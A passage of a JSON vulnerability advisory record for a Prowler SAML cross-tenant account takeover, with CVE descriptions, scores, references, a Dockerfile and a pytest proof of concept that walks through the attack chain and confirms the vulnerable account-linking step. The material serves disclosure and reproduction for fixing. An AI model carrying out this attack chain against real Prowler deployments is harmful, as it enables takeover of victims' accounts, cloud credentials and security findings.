Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim's tenant\n- Lateral movement into any additional tenants the victim belongs to via the token switch endpoint\n- Possible persistent access depending on the SAML account-linking behavior in the affected version\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover\n#\n# Builds a minimal Prowler API test environment to reproduce the vulnerability\n# in api/src/backend/api/adapters.py (pre_social_login, lines 17-25).\n#\n# Build context must be the parent directory:\n# docker build -t vuln001-poc -f vuln-001/Dockerfile .\n\nFROM python:3.12.10-slim-bookworm\n\nLABEL maintainer=\"security-research\"\nLABEL description=\"PoC environment for VULN-001: SAML domain claiming account takeover\"\n\n# Install system packages required for:\n# - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1\n# - psycopg2: PostgreSQL client headers\n# - uv / prowler git dep: git, gcc, g++\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n gcc \\\n g++ \\\n make \\\n git \\\n libxml2-dev \\\n libxmlsec1-dev \\\n libxmlsec1-openssl \\\n pkg-config \\\n libtool \\\n libxslt1-dev \\\n python3-dev \\\n && rm -rf /var/lib/apt/lists/*\n\n# Install uv (same version as the original Dockerfile)\nRUN pip install --no-cache-dir uv==0.11.14\n\nWORKDIR /prowler\n\n# Copy API dependency manifests first (for layer caching)\nCOPY repo/api/pyproject.toml repo/api/uv.lock ./api/\n\n# Install all Python dependencies from the locked file.\n# This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc.\nWORKDIR /prowler/api\nRUN uv sync --locked --no-install-project && rm -rf ~/.cache/uv\n\n# Copy the full backend source code\nCOPY repo/api/src/backend/ ./src/backend/\n\n# Copy the PoC test into the backend working directory so pytest can discover it\nCOPY vuln-001/poc.py ./src/backend/poc_vuln001.py\n\nWORKDIR /prowler/api/src/backend\n\n# Set up environment variables for the test run.\n# DJANGO_SETTINGS_MODULE points to config.django.testing which uses PostgreSQL.\nENV PATH=\"/prowler/api/.venv/bin:$PATH\"\nENV DJANGO_SETTINGS_MODULE=config.django.testing\nENV POSTGRES_HOST=postgres\nENV POSTGRES_USER=prowler_admin\nENV POSTGRES_PASSWORD=prowler_password\nENV POSTGRES_DB=prowler_test_db\nENV POSTGRES_PORT=5432\nENV SECRET_KEY=poc-test-secret-key-not-for-production\nENV SECRETS_ENCRYPTION_KEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0=\n# Provide dummy values for optional services (Valkey/Celery not needed for unit tests)\nENV VALKEY_HOST=localhost\nENV VALKEY_PORT=6379\nENV VALKEY_PASSWORD=\"\"\n# Neo4j not needed for adapter tests\nENV NEO4J_USER=neo4j\nENV NEO4J_PASSWORD=neo4j\n# Silence Sentry in test runs\nENV DJANGO_SENTRY_DSN=\"\"\n\nCMD [\"python\", \"-m\", \"pytest\", \"poc_vuln001.py\", \"-v\", \"-s\", \"--no-header\", \"--tb=short\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover\n\nProduct: toniblyx/prowler v5.30.0 (commit c2cef99)\nCWE: CWE-287 - Improper Authentication\nCVSS: 9.6 (Critical) AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N\n\nVulnerability location:\n api/src/backend/api/adapters.py lines 17-25 (pre_social_login)\n api/src/backend/config/settings/social_login.py lines 23, 25, 78\n\nRoot cause:\n ProwlerSocialAccountAdapter.pre_social_login() trusts the SAML NameID email\n from the assertion and calls get_user_by_email() which does a GLOBAL user\n table lookup with no tenant-scope or domain-ownership check. If a user\n with that email already exists, sociallogin.connect() links the attacker's\n SAML session to that account - giving the attacker control of the victim.\n\nAttack chain:\n 1. Attacker registers a Prowler account and creates a tenant (normal user).\n 2. Attacker POSTs to /api/v1/saml-config claiming email_domain=victim.com.\n models.py only validates format/uniqueness - no ownership proof.\n 3. Attacker's IdP (self-controlled) issues a SAMLResponse signed with the\n attacker's certificate, asserting NameID=victim@victim.com.\n 4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers\n pre_social_login. The adapter looks up victim@victim.com globally and\n calls sociallogin.connect(request, victim_user) - ACCOUNT LINKED.\n 5. views.py issues a SAMLToken (JWT) for the victim account.\n 6. Attacker uses /api/v1/tokens/saml?id= to obtain victim's JWT.\n\nThis test proves steps 4 - the critical account-linking step - using the real\nproduction adapter code and a real PostgreSQL database. sociallogin.connect()\nis spied upon (not replaced) so we can capture the exact user object passed in.\n\"\"\"\n\nimport pytest\nfrom unittest.mock import MagicMock\n\nfrom allauth.socialaccount.models import SocialLogin\nfrom django.contrib.auth import get_user_model\n\nfrom api.adapters import ProwlerSocialAccountAdapter\n\nUser = get_user_model()\n\nVICTIM_EMAIL = \"victim@victim.com\"\nVICTIM_DOMAIN = \"victim.com\"\nATTACKER_EMAIL = \"attacker@evil-corp.com\"\n\n\n# ---------------------------------------------------------------------------\n# Helper: print a separator for readable test output\n# ---------------------------------------------------------------------------\ndef section(title: str) -> None:\n width = 70\n print(f\"\\n{'=' * width}\")\n print(f\" {title}\")\n print(f\"{'=' * width}\")\n\n\n# ---------------------------------------------------------------------------\n# Core PoC test\n# ---------------------------------------------------------------------------\n\n@pytest.mark.django_db\nclass TestSAMLDomainClaimingAccountTakeover:\n \"\"\"\n Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and\n a live PostgreSQL test database created by pytest-django.\n\n The test creates a victim user in the database, then simulates the exact\n HTTP flow an attacker would trigger via a crafted SAMLResponse.\n \"\"\"\n\n def test_attacker_saml_session_links_to_victim_account(self, rf):\n \"\"\"\n Verify that pre_social_login() links the attacker's SAML sociallogin\n to an existing victim account without ANY domain-ownership check.\n\n Expected outcome (vulnerability confirmed):\n sociallogin.connect(request, victim_user) is called where\n victim_user.email == VICTIM_EMAIL and victim_user was created\n independently of the SAML session - i.e. the adapter does NOT\n verify that the SAML registrant owns victim.com.\n \"\"\"\n # ---------------------------------------------------------------\n # STEP 1 - Create the victim's pre-existing account in the database.\n # In a real attack the victim signed up with email+password\n # and has an existing Prowler tenant membership.\n # ---------------------------------------------------------------\n section(\"STEP 1: Create victim account in database\")\n\n victim_user = User.objects.create_user(\n name=\"Victim User\",\n email=VICTIM_EMAIL,\n password=\"VictimS3cret!\",\n )\n # Confirm the user was actually persisted (real DB round-trip)\n fetched = User.objects.get(email=VICTIM_EMAIL)\n assert fetched.id == victim_user.id, \"Victim user must exist in database\"\n\n print(f\"[+] Victim user created in DB:\")\n print(f\" email = {victim_user.email}\")\n print(f\" id = {victim_user.id}\")\n\n # ---------------------------------------------------------------\n # STEP 2 - Simulate the attacker's SAML flow.\n #\n # a. Attacker previously registered a SAMLConfiguration for\n # email_domain='victim.com' via POST /api/v1/saml-config.\n # (No domain ownership proof is required - see models.py:2100)\n #\n # b. Attacker's self-controlled IdP issues a SAMLResponse signed\n # with the attacker's certificate, asserting:\n # NameID = victim@victim.com\n #\n # c. allauth processes the ACS POST and calls pre_social_login()\n # before creating/updating the social account record.\n #\n # We represent the processed SAMLResponse as an allauth SocialLogin\n # object. The 'connect' method is spied upon to capture arguments.\n # ---------------------------------------------------------------\n section(\"STEP 2: Attacker triggers ACS with crafted SAMLResponse\")\n\n # Build the sociallogin object that allauth would construct after\n # validating the SAMLResponse signature (which uses the *attacker's*\n # certificate - no server-side cert pinning for victim.com).\n attacker_saml_login = MagicMock(spec=SocialLogin)\n attacker_saml_login.provider = MagicMock()\n attacker_saml_login.provider.id = \"saml\" # Provider discriminator\n attacker_saml_login.account = MagicMock()\n attacker_saml_login.account.extra_data = {} # SAML uses user.email path\n attacker_saml_login.user = MagicMock()\n # The attacker's IdP signs a NameID of victim@victim.com in the SAMLResponse.\n # This is the email that pre_social_login() will trust without verification.\n attacker_saml_login.user.email = VICTIM_EMAIL\n attacker_saml_login.connect = MagicMock() # Spy: record call arguments\n\n # Simulate the ACS request (POST to the victim.com ACS endpoint)\n acs_request = rf.post(\n f\"/api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/\",\n data={\"SAMLResponse\": \"\"},\n )\n\n print(f\"[+] Simulated SAMLResponse posted to ACS endpoint:\")\n print(f\" URL: POST /api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/\")\n print(f\" NameID: {attacker_saml_login.user.email} (attacker-controlled)\")\n\n # ---------------------------------------------------------------\n # STEP 3 - Execute the vulnerable adapter method.\n #\n # api/src/backend/api/adapters.py lines 17-25:\n #\n # def pre_social_login(self, request, sociallogin):\n # email = sociallogin.account.extra_data.get(\"email\") # line 19\n # if sociallogin.provider.id == \"saml\":\n # email = sociallogin.user.email # line 21 - trusts SAML NameID\n # if email:\n # existing_user = self.get_user_by_email(email) # line 23 - global DB lookup\n # if existing_user:\n # sociallogin.connect(request, existing_user) # line 25 - ACCOUNT LINKED\n # ---------------------------------------------------------------\n section(\"STEP 3: Execute pre_social_login (vulnerable code path)\")\n\n adapter = ProwlerSocialAccountAdapter()\n print(f\"[*] Calling ProwlerSocialAccountAdapter.pre_social_login()\")\n print(f\" File: api/src/backend/api/adapters.py:17\")\n\n adapter.pre_social_login(acs_request, attacker_saml_login)\n\n # ---------------------------------------------------------------\n # STEP 4 - Verify the attack succeeded.\n # ---------------------------------------------------------------\n section(\"STEP 4: Verify attack outcome\")\n\n assert attacker_saml_login.connect.called, (\n \"FAIL: sociallogin.connect() was NOT called - \"\n \"the attack path did not execute\"\n )\n\n call_args = attacker_saml_login.connect.call_args[0]\n _, connected_user = call_args # connect(request, existing_user)\n\n print(f\"[!] sociallogin.connect() was called!\")\n print(f\" connected user email: {connected_user.email}\")\n print(f\" connected user id: {connected_user.id}\")\n print(f\" victim user id: {victim_user.id}\")\n\n # The connected user must be the VICTIM (looked up from global DB)\n assert connected_user.email == VICTIM_EMAIL, (\n f\"FAIL: connect() was called with {connected_user.email!r}, \"\n f\"expected {VICTIM_EMAIL!r}\"\n )\n assert str(connected_user.id) == str(victim_user.id), (\n f\"FAIL: connect() user id {connected_user.id} != victim id {victim_user.id}\"\n )\n\n # Confirm no domain-ownership check happened:\n # The adapter does not inspect the SAML configuration to verify that\n # the sociallogin's tenant registered victim.com before accepting the email.\n section(\"RESULT: VULNERABILITY CONFIRMED\")\n\n print(f\"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack\")\n print()\n print(f\" Root cause (adapters.py:21-25):\")\n print(f\" email = sociallogin.user.email # trusts SAML NameID: {VICTIM_EMAIL}\")\n print(f\" existing_user = self.get_user_by_email(email) # GLOBAL lookup, no tenant scope\")\n print(f\" sociallogin.connect(request, existing_user) # links attacker session to victim\")\n print()\n print(f\" Contributing settings (social_login.py):\")\n print(f\" SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True # hardcoded\")\n print(f\" reject_idp_initiated_sso = False # IdP-initiated attacks allowed\")\n print()\n print(f\" Impact:\")\n print(f\" - Attacker obtains JWT token for {VICTIM_EMAIL}\")\n print(f\" - Attacker can access victim's cloud security findings\")\n print(f\" - Attacker can switch to victim's tenant via /api/v1/tokens/switch\")\n print(f\" - No victim interaction required (IdP-initiated SSO enabled)\")\n print()\n print(f\" Evidence (this test run):\")\n print(f\" - Victim user id in DB: {victim_user.id}\")\n print(f\" - User passed to connect(): {connected_user.id}\")\n print(f\" - IDs match (victim's account): {str(victim_user.id) == str(connected_user.id)}\")\n print(f\" - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)\")\n```", "title": "osvpypi - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-h8m9-jgf8-vwvp.json?alt=media" }, { "category": "description", "text": "Prowler is a cloud security platform. Prior to 5.30.3, Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token, and the ACS finish logic in api/src/backend/api/v1/views.py recalculated the tenant from user.email instead of binding token issuance to the validated SAML configuration. An authenticated attacker with a controlled SAML IdP could complete a valid SAML flow for an attacker-controlled domain while asserting an email address from another configured domain, causing a SAMLToken and tenant-scoped JWT to be issued for the wrong tenant and enabling cross-tenant account takeover. This issue is fixed in version 5.30.3.", "title": "osvgit - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-59151.json?alt=media" }, { "category": "description", "text": "Improper Authentication in the social account linking path of the Prowler API in Prowler from 5.4.0 before 5.35.0 allows a remote unauthenticated attacker to obtain persistent access to the account of a user who has not yet registered, because ProwlerSocialAccountAdapter.pre_social_login() in api/src/backend/api/adapters.py links a Google or GitHub login to any existing local account that has the same email address as the one returned by the provider, without requiring that the address has been verified by the provider or on the existing account, and without any other check that both accounts belong to the same person. Self registration is open and the new account is usable at once, because UserViewSet.get_permissions() in api/src/backend/api/v1/views.py grants AllowAny to the create action, ACCOUNT_EMAIL_VERIFICATION is set to none in api/src/backend/config/settings/social_login.py, and the Django ModelBackend checks only the password and is_active, not the django-allauth EmailAddress record. An attacker who registers an email address before its owner keeps the password set at registration after the link is made, because sociallogin.connect() does not reset the password and does not disable the existing account, and the owner who later signs in with Google or GitHub is logged into the attacker's account. django-allauth makes the same email based link on its own, because SOCIALACCOUNT_EMAIL_AUTHENTICATION and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT are both set to True in the same settings module. This gives the attacker the cloud provider credentials, scan findings and tenant memberships held in the account.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-100169" }, { "category": "other", "text": "0.00851", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "title": "CVSSV4" }, { "category": "other", "text": "7.6", "title": "CVSSV4 base score" }, { "category": "other", "text": "4.0", "title": "NCSC Score" }, { "category": "other", "text": "There is cwe data available from source Nvd, The CVSS vector string contains AV:N (Attack Vector: Network)", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-9702546", "CSAFPID-9702547", "CSAFPID-8634167", "CSAFPID-8634166", "CSAFPID-8634165", "CSAFPID-8634164", "CSAFPID-8634163", "CSAFPID-8634162", "CSAFPID-8634161", "CSAFPID-8634160", "CSAFPID-8634159", "CSAFPID-8634150", "CSAFPID-8634158", "CSAFPID-8634156", "CSAFPID-8634157", "CSAFPID-8634155", "CSAFPID-8634154", "CSAFPID-8634153", "CSAFPID-8634152", "CSAFPID-8634151", "CSAFPID-8634149", "CSAFPID-8634148", "CSAFPID-8634147", "CSAFPID-8634146", "CSAFPID-8634145", "CSAFPID-8634144", "CSAFPID-8634143", "CSAFPID-8634142", "CSAFPID-8634141", "CSAFPID-8634140", "CSAFPID-8634139", "CSAFPID-8634138", "CSAFPID-8634137", "CSAFPID-8634136", "CSAFPID-9166592", "CSAFPID-9166593", "CSAFPID-9166594", "CSAFPID-9166595", "CSAFPID-9166596", "CSAFPID-9166597", "CSAFPID-9166598", "CSAFPID-9166599", "CSAFPID-9166600", "CSAFPID-9166601", "CSAFPID-9166602", "CSAFPID-9166603", "CSAFPID-9166604", "CSAFPID-9166605", "CSAFPID-9166606", "CSAFPID-9166607", "CSAFPID-9166608", "CSAFPID-9166609", "CSAFPID-9166610", "CSAFPID-9166611", "CSAFPID-9166612", "CSAFPID-9166613", "CSAFPID-9166614", "CSAFPID-9166615", "CSAFPID-9166616", "CSAFPID-9166617", "CSAFPID-9166618", "CSAFPID-9166619", "CSAFPID-9166620", "CSAFPID-9166621", "CSAFPID-9166622", "CSAFPID-9166623", "CSAFPID-9166624", "CSAFPID-9166625", "CSAFPID-9166626", "CSAFPID-9166627", "CSAFPID-9166628", "CSAFPID-9166629", "CSAFPID-9166630", "CSAFPID-9166631", "CSAFPID-9166632", "CSAFPID-9166633", "CSAFPID-9166634", "CSAFPID-9166635", "CSAFPID-9166636", "CSAFPID-9166637", "CSAFPID-9166638", "CSAFPID-9166639", "CSAFPID-9166640", "CSAFPID-9166641", "CSAFPID-9166642", "CSAFPID-9166643", "CSAFPID-9166644", "CSAFPID-9166645", "CSAFPID-9166646", "CSAFPID-9166647", "CSAFPID-9166648", "CSAFPID-9166649", "CSAFPID-9166650", "CSAFPID-9166651", "CSAFPID-9166652", "CSAFPID-9166653", "CSAFPID-9166654", "CSAFPID-9166655", "CSAFPID-9166656", "CSAFPID-9166657", "CSAFPID-9166658", "CSAFPID-9166659", "CSAFPID-9166660", "CSAFPID-9166661", "CSAFPID-9166662", "CSAFPID-9166663", "CSAFPID-9166664", "CSAFPID-9166665", "CSAFPID-9166666", "CSAFPID-9166667", "CSAFPID-9166668", "CSAFPID-9166669", "CSAFPID-9166670", "CSAFPID-9166671", "CSAFPID-9166672", "CSAFPID-9166673", "CSAFPID-9166674", "CSAFPID-9166675", "CSAFPID-9166676", "CSAFPID-9166677", "CSAFPID-9166678", "CSAFPID-9166679", "CSAFPID-9166680", "CSAFPID-9166681", "CSAFPID-9166682", "CSAFPID-9166683", "CSAFPID-9166684", "CSAFPID-9166685", "CSAFPID-9166686", "CSAFPID-9166687", "CSAFPID-9166688", "CSAFPID-9166689", "CSAFPID-9166690", "CSAFPID-9166691", "CSAFPID-9166692", "CSAFPID-9166693", "CSAFPID-9166694", "CSAFPID-9166695", "CSAFPID-9166696", "CSAFPID-9166697", "CSAFPID-9166698", "CSAFPID-9166699", "CSAFPID-9166700", "CSAFPID-9166701", "CSAFPID-9166702", "CSAFPID-9166703", "CSAFPID-9166704", "CSAFPID-9166705", "CSAFPID-9166706", "CSAFPID-9166707", "CSAFPID-9166708", "CSAFPID-9166709", "CSAFPID-9166710", "CSAFPID-9166711", "CSAFPID-9166712", "CSAFPID-9166713", "CSAFPID-9166714", "CSAFPID-9166715", "CSAFPID-9166716", "CSAFPID-9166717", "CSAFPID-9166718", "CSAFPID-9166719", "CSAFPID-9166720", "CSAFPID-9166721", "CSAFPID-9166722", "CSAFPID-9166723", "CSAFPID-9166724", "CSAFPID-9166725", "CSAFPID-9166726", "CSAFPID-9166727", "CSAFPID-9166728", "CSAFPID-9166729", "CSAFPID-9166730", "CSAFPID-9166731", "CSAFPID-9166732", "CSAFPID-9166733", "CSAFPID-9166734", "CSAFPID-9166735", "CSAFPID-9166736", "CSAFPID-9166737", "CSAFPID-9166738", "CSAFPID-9166739", "CSAFPID-9166740", "CSAFPID-9166741", "CSAFPID-9166742", "CSAFPID-9166743", "CSAFPID-9166744", "CSAFPID-9166745", "CSAFPID-9166746", "CSAFPID-9166747", "CSAFPID-9166748", "CSAFPID-9166749", "CSAFPID-9166750", "CSAFPID-9166751", "CSAFPID-9166752", "CSAFPID-9166753", "CSAFPID-9166754", "CSAFPID-9166755", "CSAFPID-9166756", "CSAFPID-9166757", "CSAFPID-9166758", "CSAFPID-9166759", "CSAFPID-9166760", "CSAFPID-9166761", "CSAFPID-9166762", "CSAFPID-9166763", "CSAFPID-9166764", "CSAFPID-9166776", "CSAFPID-9166777", "CSAFPID-9166778", "CSAFPID-9166779", "CSAFPID-9166780", "CSAFPID-9166781", "CSAFPID-9166782", "CSAFPID-9166783", "CSAFPID-9166784", "CSAFPID-9166785", "CSAFPID-9166786", "CSAFPID-9166787", "CSAFPID-9166788", "CSAFPID-9166789", "CSAFPID-9166790", "CSAFPID-9166791", "CSAFPID-9166792", "CSAFPID-9166793", "CSAFPID-9215294" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100169" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-100169" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FPYSEC-2026-3725.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-59151.json?alt=media" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-100169" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100169.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-h8m9-jgf8-vwvp.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss" }, { "category": "external", "summary": "Reference - cveprojectv5; nvd; osv", "url": "https://github.com/prowler-cloud/prowler/commit/0f31f1a3c2daa05b4d77a78f451e3fbfb3fe3411" }, { "category": "external", "summary": "Reference - cveprojectv5; nvd; osv", "url": "https://github.com/prowler-cloud/prowler/pull/12013" }, { "category": "external", "summary": "Reference - cveprojectv5; nvd; osv", "url": "https://github.com/prowler-cloud/prowler/releases/tag/5.35.0" }, { "category": "external", "summary": "Reference - cveprojectv5; nvd; osv", "url": "https://github.com/prowler-cloud/prowler/security/advisories/GHSA-h8m9-jgf8-vwvp" }, { "category": "external", "summary": "Reference - cveprojectv5; nvd; osv", "url": "https://secur0.com/en/cna/cve-list/cve-2026-100169-prowler-account-pre-hijacking" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100169.json" }, { "category": "external", "summary": "Reference - osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100169" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/prowler-cloud/prowler/commit/bf3b5c2ba713e533014927141b64948c82c8f32e" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/prowler-cloud/prowler/commit/f5ff30ad175bd2edf02cd28872653c1cda5867b7" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/prowler-cloud/prowler/pull/11650" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/prowler-cloud/prowler/releases/tag/5.30.3" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59151.json" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/prowler-cloud/PYSEC-2026-3725.yaml" }, { "category": "external", "summary": "Reference - osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59151" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-8634136", "CSAFPID-8634137", "CSAFPID-8634138", "CSAFPID-8634139", "CSAFPID-8634140", "CSAFPID-8634141", "CSAFPID-8634142", "CSAFPID-8634143", "CSAFPID-8634144", "CSAFPID-8634145", "CSAFPID-8634146", "CSAFPID-8634147", "CSAFPID-8634148", "CSAFPID-8634149", "CSAFPID-8634150", "CSAFPID-8634151", "CSAFPID-8634152", "CSAFPID-8634153", "CSAFPID-8634154", "CSAFPID-8634155", "CSAFPID-8634156", "CSAFPID-8634157", "CSAFPID-8634158", "CSAFPID-8634159", "CSAFPID-8634160", "CSAFPID-8634161", "CSAFPID-8634162", "CSAFPID-8634163", "CSAFPID-8634164", "CSAFPID-8634165", "CSAFPID-8634166", "CSAFPID-8634167", "CSAFPID-9166592", "CSAFPID-9166593", "CSAFPID-9166594", "CSAFPID-9166595", "CSAFPID-9166596", "CSAFPID-9166597", "CSAFPID-9166598", "CSAFPID-9166599", "CSAFPID-9166600", "CSAFPID-9166601", "CSAFPID-9166602", "CSAFPID-9166603", "CSAFPID-9166604", "CSAFPID-9166605", "CSAFPID-9166606", "CSAFPID-9166607", "CSAFPID-9166608", "CSAFPID-9166609", "CSAFPID-9166610", "CSAFPID-9166611", "CSAFPID-9166612", "CSAFPID-9166613", "CSAFPID-9166614", "CSAFPID-9166615", "CSAFPID-9166616", "CSAFPID-9166617", "CSAFPID-9166618", "CSAFPID-9166619", "CSAFPID-9166620", "CSAFPID-9166621", "CSAFPID-9166622", "CSAFPID-9166623", "CSAFPID-9166624", "CSAFPID-9166625", "CSAFPID-9166626", "CSAFPID-9166627", "CSAFPID-9166628", "CSAFPID-9166629", "CSAFPID-9166630", "CSAFPID-9166631", "CSAFPID-9166632", "CSAFPID-9166633", "CSAFPID-9166634", "CSAFPID-9166635", "CSAFPID-9166636", "CSAFPID-9166637", "CSAFPID-9166638", "CSAFPID-9166639", "CSAFPID-9166640", "CSAFPID-9166641", "CSAFPID-9166642", "CSAFPID-9166643", "CSAFPID-9166644", "CSAFPID-9166645", "CSAFPID-9166646", "CSAFPID-9166647", "CSAFPID-9166648", "CSAFPID-9166649", "CSAFPID-9166650", "CSAFPID-9166651", "CSAFPID-9166652", "CSAFPID-9166653", "CSAFPID-9166654", "CSAFPID-9166655", "CSAFPID-9166656", "CSAFPID-9166657", "CSAFPID-9166658", "CSAFPID-9166659", "CSAFPID-9166660", "CSAFPID-9166661", "CSAFPID-9166662", "CSAFPID-9166663", "CSAFPID-9166664", "CSAFPID-9166665", "CSAFPID-9166666", "CSAFPID-9166667", "CSAFPID-9166668", "CSAFPID-9166669", "CSAFPID-9166670", "CSAFPID-9166671", "CSAFPID-9166672", "CSAFPID-9166673", "CSAFPID-9166674", "CSAFPID-9166675", "CSAFPID-9166676", "CSAFPID-9166677", "CSAFPID-9166678", "CSAFPID-9166679", "CSAFPID-9166680", "CSAFPID-9166681", "CSAFPID-9166682", "CSAFPID-9166683", "CSAFPID-9166684", "CSAFPID-9166685", "CSAFPID-9166686", "CSAFPID-9166687", "CSAFPID-9166688", "CSAFPID-9166689", "CSAFPID-9166690", "CSAFPID-9166691", "CSAFPID-9166692", "CSAFPID-9166693", "CSAFPID-9166694", "CSAFPID-9166695", "CSAFPID-9166696", "CSAFPID-9166697", "CSAFPID-9166698", "CSAFPID-9166699", "CSAFPID-9166700", "CSAFPID-9166701", "CSAFPID-9166702", "CSAFPID-9166703", "CSAFPID-9166704", "CSAFPID-9166705", "CSAFPID-9166706", "CSAFPID-9166707", "CSAFPID-9166708", "CSAFPID-9166709", "CSAFPID-9166710", "CSAFPID-9166711", "CSAFPID-9166712", "CSAFPID-9166713", "CSAFPID-9166714", "CSAFPID-9166715", "CSAFPID-9166716", "CSAFPID-9166717", "CSAFPID-9166718", "CSAFPID-9166719", "CSAFPID-9166720", "CSAFPID-9166721", "CSAFPID-9166722", "CSAFPID-9166723", "CSAFPID-9166724", "CSAFPID-9166725", "CSAFPID-9166726", "CSAFPID-9166727", "CSAFPID-9166728", "CSAFPID-9166729", "CSAFPID-9166730", "CSAFPID-9166731", "CSAFPID-9166732", "CSAFPID-9166733", "CSAFPID-9166734", "CSAFPID-9166735", "CSAFPID-9166736", "CSAFPID-9166737", "CSAFPID-9166738", "CSAFPID-9166739", "CSAFPID-9166740", "CSAFPID-9166741", "CSAFPID-9166742", "CSAFPID-9166743", "CSAFPID-9166744", "CSAFPID-9166745", "CSAFPID-9166746", "CSAFPID-9166747", "CSAFPID-9166748", "CSAFPID-9166749", "CSAFPID-9166750", "CSAFPID-9166751", "CSAFPID-9166752", "CSAFPID-9166753", "CSAFPID-9166754", "CSAFPID-9166755", "CSAFPID-9166756", "CSAFPID-9166757", "CSAFPID-9166758", "CSAFPID-9166759", "CSAFPID-9166760", "CSAFPID-9166761", "CSAFPID-9166762", "CSAFPID-9166763", "CSAFPID-9166764", "CSAFPID-9166776", "CSAFPID-9166777", "CSAFPID-9166778", "CSAFPID-9166779", "CSAFPID-9166780", "CSAFPID-9166781", "CSAFPID-9166782", "CSAFPID-9166783", "CSAFPID-9166784", "CSAFPID-9166785", "CSAFPID-9166786", "CSAFPID-9166787", "CSAFPID-9166788", "CSAFPID-9166789", "CSAFPID-9166790", "CSAFPID-9166791", "CSAFPID-9166792", "CSAFPID-9166793", "CSAFPID-9215294", "CSAFPID-9702546", "CSAFPID-9702547" ] } ], "title": "CVE-2026-100169" } ] }